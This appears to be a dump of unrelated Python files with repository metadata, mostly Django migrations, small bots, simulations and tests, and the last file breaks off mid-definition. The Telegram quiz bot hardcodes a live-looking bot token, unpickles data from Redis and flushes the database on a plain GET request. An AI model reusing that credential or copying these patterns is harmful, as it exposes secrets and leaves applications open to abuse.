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# -*- coding: utf-8 -*- # Generated by Django 1.10.5 on 2017-01-24 10:08 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('users', '0002_auto_20170124_1007'), ] operations = [ migrations.AlterField( model_name='userprofile', name='mobile', field=models.CharField(blank=True, default=None, max_length=11, null=True), ), ]
[ "gjw605134015" ]
gjw605134015
83319329ae3deb480ae7390407f2049fa217f9a8
03d29ea4bc9a0e302d6000947b5d70b17ebfdec5
/games/hipixel.py
75a9f1a40f443db7829006ae08d5b8ccc5799813
[]
no_license
Tim232/GameWatcherBot
0abc05657b5768db18c78ecbe8c9bee89169145e
aa60c0997928ea26d63b770d1dd55b208529f80f
refs/heads/main
2023-03-04T13:52:27.690345
2021-02-16T12:31:39
2021-02-16T12:31:39
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import requests import json import os import sys sys.path.append(os.path.dirname(os.path.abspath(os.path.dirname(__file__)))) #import bot key, player_uuid = '', '' with open('../settings.json', 'r') as f: hipixel_settings = json.load(f)["hipixel"] key = hipixel_settings["key"] player_uuid = hipixel_settings["player_uuid"] url = 'https://api.hypixel.net/status?key=' + key + '&uuid=' + player_uuid html = requests.get(url) result = json.loads(html.text) #bot.client.get_channel(channel_id) if result['session']['online']: print('온라인') else: print('오프라인')
9c5ad899ca1d6c2c86cb40d5304177a1ce2f9f26
d4945242794561f7e8621b7cace4c7c9d5c9e7ab
/testbucket.py
4ab9dfdb4c82d77b57b85ee3b0501cd64b75b242
[]
no_license
synthicap/TestStackBot
b275a9438b786a9201da4f81f57971c732b4272c
7fbbebdfc953eb05385e028e7569007869e52acc
refs/heads/master
2021-06-16T08:09:23.898823
2017-05-04T21:55:59
2017-05-04T21:55:59
null
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Python
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py
import os import pickle from secrets import token_urlsafe import telebot from flask import Flask, request from redis import from_url from telebot.types import Update, ReplyKeyboardMarkup, KeyboardButton class Task: is_text = None text = None correct = None class Test: tasks = [] results = {} bot = telebot.TeleBot('345467048:AAEFochiYcGcP7TD5JqYwco8E56cOYCydrk') app = Flask(__name__) redis = from_url(os.environ['REDIS_URL']) tests = {} @bot.message_handler(commands=['start', 'help']) def start(message): text = '/new - create new test\n' \ '/pass - pass the test\n' \ '/mres - my result of the test\n' \ '/res - all results of the test\n' \ '/del - delete the test\n' bot.send_message(message.chat.id, text) @bot.message_handler(commands=['new']) def new_test(message): try: test = Test() test.key = token_urlsafe(8) test.num = int(message.text.split()[-1]) tests['key'] = test bot.send_message(message.chat.id, f'Key: {test.key}') msg = bot.send_message(message.chat.id, 'Enter the task text') bot.register_next_step_handler(msg, set_task_text) except Exception as e: bot.reply_to(message, str(e) + ' 0') def set_task_text(message): try: task = Task() task.is_text = message.content_type == 'text' if task.is_text: task.text = message.text else: task.text = message.photo[0].file_id tests['key'].tasks.append(task) msg = bot.send_message(message.chat.id, 'Enter the task correct answer') bot.register_next_step_handler(msg, set_task_correct) '''markup = ReplyKeyboardMarkup(one_time_keyboard=True, row_width=4) markup.row(KeyboardButton(a) for a in answer)''' except Exception as e: bot.reply_to(message, str(e) + ' 2') def set_task_correct(message): try: test = tests['key'] answer = message.text if answer[0] == ':': answer = set(answer.split()[1:]) test.tasks[-1].correct = answer if test.num > 1: test.num -= 1 msg = bot.send_message(message.chat.id, 'Enter the task text') bot.register_next_step_handler(msg, set_task_text) else: key = test.key del test.key del test.num del tests['key'] redis[key] = pickle.dumps(test) bot.send_message(message.chat.id, 'Test successfully created!') bot.send_message(message.chat.id, str(len(test.tasks))) except Exception as e: bot.reply_to(message, str(e) + ' 3') @bot.message_handler(commands=['pass']) def get_test(message): try: key = message.text.split()[-1] test = pickle.loads(redis[key]) test.key = key test.num = len(test.tasks) test.ctasks = test.tasks.copy() tests['key'] = test test.results[message.from_user.username] = 0 bot.send_message(message.chat.id, f'Let\'s start the test, number of tasks: {test.num}') task = test.tasks[0] if task.is_text: msg = bot.send_message(message.chat.id, task.text) else: msg = bot.send_photo(message.chat.id, task.text) bot.register_next_step_handler(msg, get_task) except Exception as e: bot.reply_to(message, str(e) + ' 1') def get_task(message): try: test = tests['key'] tasks = test.ctasks name = message.from_user.username correct = tasks.pop(0).correct if correct is set: answer = set(message.text.split()) else: answer = message.text test.results[name] += answer == correct if tasks: task = test.tasks[0] if task.is_text: msg = bot.send_message(message.chat.id, task.text) else: msg = bot.send_photo(message.chat.id, task.text) bot.register_next_step_handler(msg, get_task) else: bot.send_message(message.chat.id, f'Your result is: {test.results[name]} / {test.num}') key = test.key del test.key del test.num del test.ctasks del tests['key'] redis[key] = pickle.dumps(test) except Exception as e: bot.reply_to(message, str(e) + '3') @bot.message_handler(commands=['mres']) def get_result(message): try: test = pickle.loads(redis[message.text.split()[-1]]) result = test.results[message.from_user.username] num = len(test.tasks) bot.send_message(message.chat.id, f'Your result is: {result} / {num}') except Exception as e: bot.reply_to(message, str(e) + '1') @bot.message_handler(commands=['res']) def get_list_results(message): try: test = pickle.loads(redis[message.text.split()[-1]]) num = len(test.tasks) items = test.results.items() if num: bot.send_message(message.chat.id, 'Results:\n' + ''.join(f'{i[0]}: {i[1]} / {num}\n' for i in items)) else: bot.send_message(message.chat.id, 'No results') except Exception as e: bot.reply_to(message, str(e) + '1') @bot.message_handler(commands=['del']) def delete_test(message): try: bot.send_message(message.chat.id, 'Test successfully deleted!') except Exception as e: bot.reply_to(message, str(e) + '1') @app.route('/update', methods=['POST']) def update(): bot.process_new_updates([Update.de_json(request.stream.read().decode('utf-8'))]) return '', 200 @app.route('/') def index(): redis.flushdb() bot.remove_webhook() bot.set_webhook(url='https://teststackbot.herokuapp.com/update') return '', 200 if __name__ == '__main__': app.run()
c209bbaacb59462c92f86852c6966232dfbf4d38
2c3404d57a64e52bb860b59445e48a6cf4537bc6
/backend/services/migrations/0003_auto_20210502_1837.py
d5b91cd5d6d2ba633c5270a8f3f6263dbe68ffd6
[]
no_license
miyou995/octosite
42ef627c0d8378b007d9bad1333768428cc6ec2e
362f5013a48fb7cd54a4cae84aed58da8fbb4388
refs/heads/master
2023-07-07T10:21:52.985355
2021-08-05T07:36:04
2021-08-05T07:36:04
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# Generated by Django 3.0.7 on 2021-05-02 17:37 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('services', '0002_auto_20210502_1438'), ] operations = [ migrations.CreateModel( name='ServiceCategory', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=200, verbose_name='Nom Catégorie')), ('slug', models.SlugField(max_length=200, unique=True, verbose_name='Slug')), ('description', models.CharField(max_length=400)), ('icon_url', models.CharField(max_length=250)), ], options={ 'verbose_name': 'Catégorie', 'verbose_name_plural': 'Catégories', 'ordering': ('name',), }, ), migrations.AlterField( model_name='service', name='category', field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='services.ServiceCategory', verbose_name='Catégorie'), ), migrations.DeleteModel( name='Category', ), ]
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aca7781f4341a2d9e2c4e9aa663efe1fbfc20b26
/migration/versions/617d6d1ed309_first.py
b37fe959fe46a7aba66867c3cfa0854280477307
[]
no_license
rhezaas/hcl-user-service
23944798939f85b875b8c65fd9a2ce0d33436485
3a841e52d4a593a4d2873a19152935f0680cda79
refs/heads/master
2023-08-16T23:31:34.994984
2021-03-01T16:20:24
2021-03-01T16:20:24
330,072,443
0
0
null
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"""first Revision ID: 617d6d1ed309 Revises: Create Date: 2021-01-09 19:36:33.085083 """ from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = '617d6d1ed309' down_revision = None branch_labels = None depends_on = None def upgrade(): # ### commands auto generated by Alembic - please adjust! ### op.execute('CREATE SCHEMA IF NOT EXISTS "user"') op.create_table( 'user', sa.Column('id', sa.Integer(), nullable=False), sa.Column('created_at', sa.DateTime(), nullable=True), sa.Column('updated_at', sa.DateTime(), nullable=True), sa.Column('firstname', sa.String(length=100), nullable=False), sa.Column('lastname', sa.String(length=100), nullable=False), sa.Column('profile', sa.Text(), nullable=True), sa.Column('phone', sa.String(length=50), nullable=False), sa.Column('deleted_at', sa.DateTime(), nullable=True), sa.PrimaryKeyConstraint('id'), schema='user' ) op.create_table( 'account', sa.Column('id', sa.Integer(), nullable=False), sa.Column('updated_at', sa.DateTime(), nullable=True), sa.Column('username', sa.String(length=100), nullable=False), sa.Column('password', sa.String(length=100), nullable=False), sa.Column('token', sa.String(length=100), nullable=True), sa.Column('user_id', sa.Integer(), nullable=False), sa.ForeignKeyConstraint(['user_id'], ['user.user.id'], ), sa.PrimaryKeyConstraint('id'), sa.UniqueConstraint('user_id'), schema='user' ) op.create_table( 'image', sa.Column('id', sa.Integer(), nullable=False), sa.Column('created_at', sa.DateTime(), nullable=True), sa.Column('updated_at', sa.DateTime(), nullable=True), sa.Column('image', sa.Text(), nullable=False), sa.Column('width', sa.Integer(), nullable=True), sa.Column('height', sa.Integer(), nullable=True), sa.Column('deleted_at', sa.DateTime(), nullable=True), sa.Column('user_id', sa.Integer(), nullable=False), sa.ForeignKeyConstraint(['user_id'], ['user.user.id'], ), sa.PrimaryKeyConstraint('id'), schema='user' ) # ### end Alembic commands ### def downgrade(): # ### commands auto generated by Alembic - please adjust! ### op.drop_table('image', schema='user') op.drop_table('account', schema='user') op.drop_table('user', schema='user') # ### end Alembic commands ###
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/multiagent/agents/bystander.py
4f63775706930f75b6101b4a5bb89072ffa5e9a0
[ "MIT" ]
permissive
HassamSheikh/VIP_Protection_Envs
b2927de19565c6fb09d1db42105ea4defc7aa912
ea8b4f702d037336812035abbf8aaa12e26f8c46
refs/heads/master
2020-07-14T01:32:15.620448
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import numpy as np from . import * class Bystander(Participant): """ A bystander (crowd participant) in the bodyguard environment, performing a movement that involves visiting random landmarks. If the bystander is near a bodyguard, it stops... """ def __init__(self, scenario): super().__init__(scenario) self.action_callback = self.theaction self.color = np.array([0.8, 0.0, 0.0]) # red self.state.p_pos = np.random.uniform(-1,+1, scenario.world.dim_p) self.state.p_vel = np.zeros(scenario.world.dim_p) self.goal_a = None self.wait_count = 0 def reset(self): super(Bystander, self).reset() self.goal_a=None def theaction(self, agent, world): """ The behavior of the bystanders. Implemented as callback function """ # If the agent finds itself out of range, jump to a random new location if self.out_of_bounds(): self.reset() bystander_action = Action() # The bystanders freeze if they are near a bodyguard or have no goal if self.near_bodyguard(agent, world) or not self.goal_a: bystander_action.u = np.zeros(world.dim_p) self.wait_count += 1 if self.wait_count > 50: agent.goal_a = self.nearest_landmark(world) relative_position = (agent.goal_a.state.p_pos - agent.state.p_pos) bystander_action.u = (relative_position/np.linalg.norm(relative_position)) self.wait_count = 0 return bystander_action # If the agent reached its goal, picks a new goal randomly from the landmarks if self.reached_goal(): agent.goal_a = np.random.choice(world.landmarks) # otherwise, move towards the landmark relative_position = (agent.goal_a.state.p_pos - agent.state.p_pos) bystander_action.u = (relative_position/np.linalg.norm(relative_position)) * self.step_size return bystander_action def near_bodyguard(self, agent, world): bodyguard_p_pos = np.asarray([bodyguard.state.p_pos for bodyguard in self.scenario.bodyguards]) distance_between_all_bodyguards = np.linalg.norm(bodyguard_p_pos-agent.state.p_pos, axis=1) return np.any(0.3 > distance_between_all_bodyguards) def nearest_landmark(self, world): landmark_p_pos = np.array([landmark.state.p_pos for landmark in world.landmarks]) idx = np.linalg.norm(landmark_p_pos-self.state.p_pos, axis=1).argsort()[0] return world.landmarks[idx] class StreetBystander(Bystander): """ A bystander (crowd participant) in the bodyguard environment, performing Vicsek Particle Motion. If the bystander is near a bodyguard, it stops... """ def __init__(self, scenario): super().__init__(scenario) self.action_callback = self.theaction self.theta = np.random.uniform(-np.pi,np.pi) self.noise = np.random.rand() def reset(self): """ Reset the states of an agent """ self.state.p_vel = np.random.uniform(-.5, .5, self.scenario.world.dim_p) self.theta=np.random.uniform(-np.pi,np.pi) def theaction(self, agent, world): """ The behavior of the bystanders. Implemented as callback function """ #print("bystander action") # If the agent finds itself out of range, jump to a random new location bystander_action = Action() #The bystanders freeze if they are near a bodyguard if self.near_bodyguard(agent, world) or self.out_of_bounds(): bystander_action.u = np.array([-0.2, -0.2]) return bystander_action # otherwise, move towards the landmark relative_position= (self.vicsek_step() - agent.state.p_pos) bystander_action.u = (relative_position/np.linalg.norm(relative_position)) return bystander_action def near_bodyguard(self, agent, world): bodyguard_p_pos = np.asarray([bodyguard.state.p_pos for bodyguard in self.scenario.bodyguards]) distance_between_all_bodyguards = np.linalg.norm(bodyguard_p_pos-agent.state.p_pos, axis=1) return np.any(0.1 > distance_between_all_bodyguards) def vicsek_step(self): noise_increments = (self.noise - 0.5) bystander_p_pos = np.asarray([bystander.state.p_pos for bystander in self.scenario.bystanders]) distance_between_all_crowd = np.linalg.norm(bystander_p_pos-self.state.p_pos, axis=1) np.nan_to_num(distance_between_all_crowd, False) near_range_bystanders = np.where((distance_between_all_crowd > 0) & (distance_between_all_crowd <=1.5))[0].tolist() near_angles = [self.scenario.bystanders[idx].theta for idx in near_range_bystanders] near_angles = np.array(near_angles) mean_directions = np.arctan2(np.mean(np.sin(near_angles)), np.mean(np.cos(near_angles))) self.theta = mean_directions + noise_increments vel = np.multiply([np.cos(self.theta), np.sin(self.theta)], self.state.p_vel) position = self.state.p_pos + (vel * 0.15) if not ((-self.scenario.env_range <= position[0] <= self.scenario.env_range) and (-self.scenario.env_range <= position[1] <= self.scenario.env_range)): return copy.deepcopy(self.state.p_pos + .1) return np.clip(position, -1, 1) class HostileBystander(Bystander): """A Hostile Bystander""" def __init__(self, scenario): super().__init__(scenario) self.action_callback = None #self.color = np.array([0.8, 0.0, 1.1]) def observation(self): """returns the observation of a hostile bystander""" other_pos = [] other_vel = [] for other in self.scenario.world.agents: if other is self: continue other_pos.append(other.state.p_pos - self.state.p_pos) other_vel.append(other.state.p_vel) return np.concatenate([self.state.p_vel] + other_pos + other_vel) def reward(self, world): """Reward for Hostile Bystander for being a threat to the VIP""" vip_agent = self.scenario.vip_agent rew = Threat(vip_agent, self.scenario.bodyguards, [self]).calculate_residual_threat_at_every_step() bodyguards = self.scenario.bodyguards for bodyguard in bodyguards: rew += 0.1 * self.distance(bodyguard) if self.is_collision(bodyguard): rew -= 10 if self.is_collision(vip_agent): rew += 10 def bound(x): if x < 0.9: return 0 if x < 1.0: return (x - 0.9) * 10 return min(np.exp(2 * x - 2), 10) for p in range(world.dim_p): x = abs(self.state.p_pos[p]) rew -= bound(x) return rew
c6eafbbe4676917c6f23a05bc73e21e549c0ba3f
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/dynamic_programming/120_triangle.py
99985fab0c45baef506be9737699a9531b32e925
[]
no_license
mistrydarshan99/Leetcode-3
a40e14e62dd400ddb6fa824667533b5ee44d5f45
bf98c8fa31043a45b3d21cfe78d4e08f9cac9de6
refs/heads/master
2022-04-16T11:26:56.028084
2020-02-28T23:04:06
2020-02-28T23:04:06
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""" Given a triangle, find the minimum path sum from top to bottom. Each step you may move to adjacent numbers on the row below. For example, given the following triangle [ [2], [3,4], [6,5,7], [4,1,8,3] ] The minimum path sum from top to bottom is 11 (i.e., 2 + 3 + 5 + 1 = 11). """ class Solution(object): def minimumTotal_1(self, triangle): """ :type triangle: List[List[int]] :rtype: int """ result = [] for line in range(1, len(triangle)): result.append([0] * line) result.append(triangle[-1]) for i in reversed(range(len(triangle))): for j in range(i): result[i - 1][j] = min(result[i][j], result[i][j+1]) + triangle[i - 1][j] return result[0][0] def minimumTotal_2(self, triangle): # modify the triangle in place if not triangle: return for i in range(len(triangle)-2, -1, -1): for j in range(len(triangle[i])): triangle[i][j] = min(triangle[i+1][j], triangle[i+1][j+1]) + triangle[i][j] return triangle[0][0] def minimumTotal_3(self, triangle): # O(n) space if not triangle: return result = triangle[-1] for i in range(len(triangle) - 2, -1, -1): for j in range(len(triangle[i])): result[j] = min(result[j], result[j+1]) + triangle[i][j] return result[0] triangle_1 = [[2],[3,4],[6,5,7],[4,1,8,3]]
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06905fd703d600f95f7a21dfe8e102b26df05921
/mmsite/wsgi.py
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[]
no_license
NmrTannhauser/marketmaker
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87761de0187b1ae65236d7f968eaeb9a43f23c07
refs/heads/master
2020-03-14T16:35:28.388404
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2018-05-28T16:14:41
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""" WSGI config for mmsite project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/1.11/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault("DJANGO_SETTINGS_MODULE", "mmsite.settings") application = get_wsgi_application()
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/chapter12_async_IO_coroutine/yield_from_how.py
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[]
no_license
haokr/PythonProgramming_Advanced
6319e5bb4a82944c11d83e1095e2aa37cb217bd9
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refs/heads/master
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# -*- coding: utf-8 -*- ''' * @Author: WangHao * @Date: 2020-01-12 09:47:40 * @LastEditors: WangHao * @LastEditTime: 2020-01-12 10:07:08 * @Description: None ''' ''' 总结: 1. 子生成器生产的值,都是直接传给调用方:调用方通过.send()发送的值都是直接传给子生成器的,如果发送的是None,会调用子生成器的__next__()方法,如果不是None,调用子生成器的send()方法。 2. 子生成器退出的时候,最后的return EXPR,会触发一个StopIteration(EXPR)异常; 3. yield from表达式的值,是子生成器终止时,传递给StopIteration异常的第一个参数; 4. 如果调用的时候出现StopIteration异常,委托生成器也会恢复运行,同时其他的异常会向上冒泡; 5. 传入委托生成器的异常里,除了GeneratorExit之外,其他的所有异常全都传递给子生成器的throw()方法,如果调用throw的时候出现了StopIteration异常,那么就恢复委托生成器的运行,其他的异常全部向上冒泡; 6. 如果在委托生成器上调用close()或传入GeneratorExit异常,会调用子生成器的close()方法,没有的话不调用,如果在调用的时候出现异常那么就向上冒泡,否则的话委托生成器会抛出GeneratorExit异常。 '''
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/account/migrations/0038_auto_20200917_0120.py
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[]
no_license
mirsisir/flash
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# Generated by Django 3.0.8 on 2020-09-17 01:20 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('account', '0037_auto_20200917_0100'), ] operations = [ migrations.AlterModelOptions( name='order', options={'ordering': ('-order_date1',)}, ), ]
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/app/migrations/0014_grupos.py
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[]
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sergio200086/Sistema-academico
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# Generated by Django 3.2 on 2021-05-18 19:57 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('app', '0013_profesores'), ] operations = [ migrations.CreateModel( name='Grupos', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('codigogrupo', models.CharField(max_length=50)), ('asignatura', models.CharField(max_length=50)), ('semestre', models.CharField(max_length=50)), ('profesorgrupo', models.ForeignKey(null=True, on_delete=django.db.models.deletion.PROTECT, related_name='profesorgrupo', to='app.profesores')), ], ), ]
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/hq.py
d9093527875528007031eec0e0b09be2fde29b71
[]
no_license
ONSdigital/FOCUS
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d6920bf036abb49872a1f4908fdfdff8135c0f68
refs/heads/master
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"""Module used to store the classes and other code related to any aspect of the census hq operation""" import output_options as oo import helper as h import datetime from simpy.util import start_delayed import math def ret_rec(household, rep): # print out every 100000 returns? #if rep.total_responses % 100000 == 0: #print(rep.total_responses) if oo.record_active_summary: # add household to summary of responses for key, value in rep.active_summary.items(): value[str(getattr(household, key))][math.floor(rep.env.now / 24)] += 1 for key, value in rep.active_totals.items(): value[str(getattr(household, key))] += 1 if oo.record_active_paper_summary and not household.digital: for key, value in rep.active_paper_summary.items(): value[str(getattr(household, key))][math.floor(rep.env.now / 24)] += 1 for key, value in rep.active_paper_totals.items(): value[str(getattr(household, key))] += 1 household.return_received = True if oo.record_return_received: rep.output_data['Return_received'].append(oo.generic_output(rep.reps, household.district.district, household.la, household.lsoa, household.digital, household.hh_type, household.hh_id, rep.env.now)) # currently every return gets counted as a response as soon as it is received - this may need to change household.responded = True rep.total_responses += 1 household.district.total_responses += 1 # check size of output data - if over an amount, size or length write to file? if oo.record_responded: rep.output_data['Responded'].append(oo.generic_output(rep.reps, household.district.district, household.la, household.lsoa, household.digital, household.hh_type, household.hh_id, rep.env.now)) # checks size of output and writes to file if too large if (h.dict_size(rep.output_data)) > rep.max_output_file_size: h.write_output(rep.output_data, rep.output_path, rep.run) yield rep.env.timeout(0) # so returned and we know it! remove from simulation?? class Adviser(object): """Call centre adviser""" def __init__(self, rep, id_num, input_data, ad_type): self.rep = rep self.id_num = id_num self.input_data = input_data self.type = ad_type # date range in datetime format self.start_date = datetime.datetime.strptime(self.input_data['start_date'], '%Y, %m, %d').date() self.end_date = datetime.datetime.strptime(self.input_data['end_date'], '%Y, %m, %d').date() # date range in simpy format self.start_sim_time = h.get_entity_time(self, "start") # the sim time the adviser starts work self.end_sim_time = h.get_entity_time(self, "end") # the sim time the adviser ends work # time range - varies by day of week self.set_avail_sch = input_data['availability'] class LetterPhase(object): def __init__(self, env, rep, district, input_data, letter_type): self.env = env self.rep = rep self.district = district self.input_data = input_data self.letter_type = letter_type self.blanket = h.str2bool(self.input_data["blanket"]) self.targets = self.input_data["targets"] self.start_sim_time = h.get_event_time(self) self.period = self.input_data["period"] # add process to decide who to send letters too...but with a delay start_delayed(self.env, self.fu_letter(), self.start_sim_time) def fu_letter(self): temp_letter_list = [household for household in self.district.households if (not self.blanket and household.hh_type in self.targets and not household.responded) or \ (self.blanket and household.hh_type in self.targets)] # order by priority temp_letter_list.sort(key=lambda hh: hh.priority, reverse=False) for i in range(self.period): current_letter_day = temp_letter_list[i::self.period] for household in current_letter_day: add_delay = i * 24 if self.letter_type == 'pq': household.paper_allowed = True if oo.record_paper_summary: # add to the summary of the amount of paper given for key, value in self.rep.paper_summary.items(): value[str(getattr(household, key))][math.floor((self.env.now + add_delay) / 24)] += 1 for key, value in self.rep.paper_totals.items(): value[str(getattr(household, key))] += 1 self.env.process(self.co_send_letter(household, self.letter_type, self.input_data["delay"] + add_delay)) yield self.env.timeout(0) def co_send_letter(self, household, letter_type, delay): if oo.record_letters: self.rep.output_data[letter_type + '_sent'].append(oo.generic_output(self.rep.reps, household.district.district, household.la, household.lsoa, household.digital, household.hh_type, household.hh_id, self.env.now)) yield self.env.timeout(delay) self.env.process(household.receive_reminder(letter_type)) def schedule_paper_drop(obj, contact_type, reminder_type, delay): # add to summary of paper given out if reminder_type == 'pq' and oo.record_paper_summary: for key, value in obj.rep.paper_summary.items(): value[str(getattr(obj, key))][math.floor(obj.rep.env.now / 24)] += 1 for key, value in obj.rep.paper_totals.items(): value[str(getattr(obj, key))] += 1 output_type = contact_type + "_" + reminder_type + "_posted" # use this as output key if oo.record_posted: obj.rep.output_data[output_type].append(oo.generic_output(obj.rep.reps, obj.district.district, obj.la, obj.lsoa, obj.digital, obj.hh_type, obj.hh_id, obj.env.now)) if delay > 0: start_delayed(obj.env, obj.receive_reminder(reminder_type), delay) else: obj.env.process(obj.receive_reminder(reminder_type)) yield obj.env.timeout(0)
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/tests/unit/language/ast/test_directive_definition.py
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tartiflette/tartiflette
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2022-01-20T14:55:31
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import pytest from tartiflette.language.ast import DirectiveDefinitionNode def test_directivedefinitionnode__init__(): directive_definition_node = DirectiveDefinitionNode( name="directiveDefinitionName", locations="directiveDefinitionLocations", description="directiveDefinitionDescription", arguments="directiveDefinitionArguments", location="directiveDefinitionLocation", ) assert directive_definition_node.name == "directiveDefinitionName" assert ( directive_definition_node.locations == "directiveDefinitionLocations" ) assert ( directive_definition_node.description == "directiveDefinitionDescription" ) assert ( directive_definition_node.arguments == "directiveDefinitionArguments" ) assert directive_definition_node.location == "directiveDefinitionLocation" @pytest.mark.parametrize( "directive_definition_node,other,expected", [ ( DirectiveDefinitionNode( name="directiveDefinitionName", locations="directiveDefinitionLocations", description="directiveDefinitionDescription", arguments="directiveDefinitionArguments", location="directiveDefinitionLocation", ), Ellipsis, False, ), ( DirectiveDefinitionNode( name="directiveDefinitionName", locations="directiveDefinitionLocations", description="directiveDefinitionDescription", arguments="directiveDefinitionArguments", location="directiveDefinitionLocation", ), DirectiveDefinitionNode( name="directiveDefinitionNameBis", locations="directiveDefinitionLocations", description="directiveDefinitionDescription", arguments="directiveDefinitionArguments", location="directiveDefinitionLocation", ), False, ), ( DirectiveDefinitionNode( name="directiveDefinitionName", locations="directiveDefinitionLocations", description="directiveDefinitionDescription", arguments="directiveDefinitionArguments", location="directiveDefinitionLocation", ), DirectiveDefinitionNode( name="directiveDefinitionName", locations="directiveDefinitionLocationsBis", description="directiveDefinitionDescription", arguments="directiveDefinitionArguments", location="directiveDefinitionLocation", ), False, ), ( DirectiveDefinitionNode( name="directiveDefinitionName", locations="directiveDefinitionLocations", description="directiveDefinitionDescription", arguments="directiveDefinitionArguments", location="directiveDefinitionLocation", ), DirectiveDefinitionNode( name="directiveDefinitionName", locations="directiveDefinitionLocations", description="directiveDefinitionDescriptionBis", arguments="directiveDefinitionArguments", location="directiveDefinitionLocation", ), False, ), ( DirectiveDefinitionNode( name="directiveDefinitionName", locations="directiveDefinitionLocations", description="directiveDefinitionDescription", arguments="directiveDefinitionArguments", location="directiveDefinitionLocation", ), DirectiveDefinitionNode( name="directiveDefinitionName", locations="directiveDefinitionLocations", description="directiveDefinitionDescription", arguments="directiveDefinitionArgumentsBis", location="directiveDefinitionLocation", ), False, ), ( DirectiveDefinitionNode( name="directiveDefinitionName", locations="directiveDefinitionLocations", description="directiveDefinitionDescription", arguments="directiveDefinitionArguments", location="directiveDefinitionLocation", ), DirectiveDefinitionNode( name="directiveDefinitionName", locations="directiveDefinitionLocations", description="directiveDefinitionDescription", arguments="directiveDefinitionArguments", location="directiveDefinitionLocationBis", ), False, ), ( DirectiveDefinitionNode( name="directiveDefinitionName", locations="directiveDefinitionLocations", description="directiveDefinitionDescription", arguments="directiveDefinitionArguments", location="directiveDefinitionLocation", ), DirectiveDefinitionNode( name="directiveDefinitionName", locations="directiveDefinitionLocations", description="directiveDefinitionDescription", arguments="directiveDefinitionArguments", location="directiveDefinitionLocation", ), True, ), ], ) def test_directivedefinitionnode__eq__( directive_definition_node, other, expected ): assert (directive_definition_node == other) is expected @pytest.mark.parametrize( "directive_definition_node,expected", [ ( DirectiveDefinitionNode( name="directiveDefinitionName", locations="directiveDefinitionLocations", description="directiveDefinitionDescription", arguments="directiveDefinitionArguments", location="directiveDefinitionLocation", ), "DirectiveDefinitionNode(" "description='directiveDefinitionDescription', " "name='directiveDefinitionName', " "arguments='directiveDefinitionArguments', " "locations='directiveDefinitionLocations', " "location='directiveDefinitionLocation')", ) ], ) def test_directivedefinitionnode__repr__(directive_definition_node, expected): assert directive_definition_node.__repr__() == expected
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/dailyfresh/apps/cart/urls.py
a7e68618919bfccd6fe10436169f4b05ec0e1449
[]
no_license
KWTsoftkitty/pyCode
b06b128292a2c64e5552c495087693bdd01042c4
fffa66737ca9ba29b296245767eea8af3ee769d6
refs/heads/master
2020-03-25T20:46:45.163930
2019-08-30T08:40:27
2019-08-30T08:40:27
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from django.conf.urls import url from cart.views import CartInfoView, CartAddView, CartUpdateView, CartDeleteView urlpatterns = [ url(r'^show$', CartInfoView.as_view(), name='show'), # 购物车页面显示 url(r'^add$', CartAddView.as_view(), name='add'), # 购物车添加 url(r'^update$', CartUpdateView.as_view(), name='update'), # 购物车更新 url(r'^delete$', CartDeleteView.as_view(), name='delete'), # 删除购物车记录 ]
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/setup.py
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Partidani/hdlConvertor
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refs/heads/master
2023-04-06T00:03:31.505727
2021-04-19T07:28:25
2021-04-19T07:28:25
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#!/usr/bin/env python3 # -*- coding: UTF-8 -*- import os from setuptools import find_packages try: from skbuild import setup except ImportError: raise ImportError("Missing scikit-build, (should be automatically installed by pip)") import sys this_directory = os.path.abspath(os.path.dirname(__file__)) with open(os.path.join(this_directory, "README.md")) as f: long_description = f.read() deps = ["typing", "future"] if sys.version_info[0] == 2 else [] setup( cmake_args=[ # '-DCMAKE_BUILD_TYPE=Debug' ], name='hdlConvertor', version='2.2', description='VHDL and System Verilog parser written in c++', long_description=long_description, long_description_content_type="text/markdown", url='https://github.com/Nic30/hdlConvertor', author='Michal Orsak', author_email='[email protected]', keywords=['hdl', 'vhdl', 'verilog', 'system verilog', 'parser', 'preprocessor', 'antlr4'], classifiers=[ 'Development Status :: 4 - Beta', 'Intended Audience :: Developers', 'Intended Audience :: Science/Research', 'Operating System :: OS Independent', 'Topic :: Software Development :: Build Tools', 'Programming Language :: C++', 'Programming Language :: Cython', 'Programming Language :: Python :: Implementation :: CPython', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Topic :: Scientific/Engineering :: Electronic Design Automation (EDA)', ], install_requires=[ 'hdlConvertorAst>=0.7', ] + deps, license="MIT", packages=find_packages(exclude=["tests", ]), test_suite="tests.main_test_suite", test_runner="tests:TimeLoggingTestRunner", tests_require=deps, )
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/src/data/data_prep.py
a55851f23be96405cce7041f8149f90d14511382
[]
no_license
razvannica/instrument-recognition
13018ec6b403765dc452b9c961c9222967f041ee
a94866b67cc9646ed4633b761dd3440e14ec5f93
refs/heads/master
2020-03-20T07:06:47.404105
2018-06-13T22:02:58
2018-06-13T22:02:58
137,271,449
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import numpy as np import os import cPickle import pandas as pd import yaml import wave import struct import gc from scipy.io import wavfile from scipy.io import savemat import copy import patch_label """ This file contains all scripts necessary for preparing data. The code in this file reads all wav files, metadata and annotations for mixed tracks. And then it takes patches of x seconds each from each track and labels them. Finally the resulting raw data is saved to several mat files, each containing y tracks. WARNING: If save_size is set to 20 in prep_data(), it takes 2 to 10 min to read data for one mat file, 3GB memory to keep program running, and 1.5GB disk storage to save one mat file. If you find yourself out of memory, set save_size to a lower value. Still looking for more efficient ways to store data. Need discussion: Too many kinds of instruments (over 80) if use all """ def backup_wavfile_reader(fpath): """Read wav files when scipy wavfile fail to read. Args: fpath (str): path to the wav file to read Returns: numpy array: data read from wav file """ f = wave.open(fpath, 'rb') res = [] for i in xrange(f.getnframes()): frame = f.readframes(1) x = struct.unpack('=h', frame[:2])[0] y = struct.unpack('=h', frame[2:])[0] res.append([x, y]) return np.array(res) def 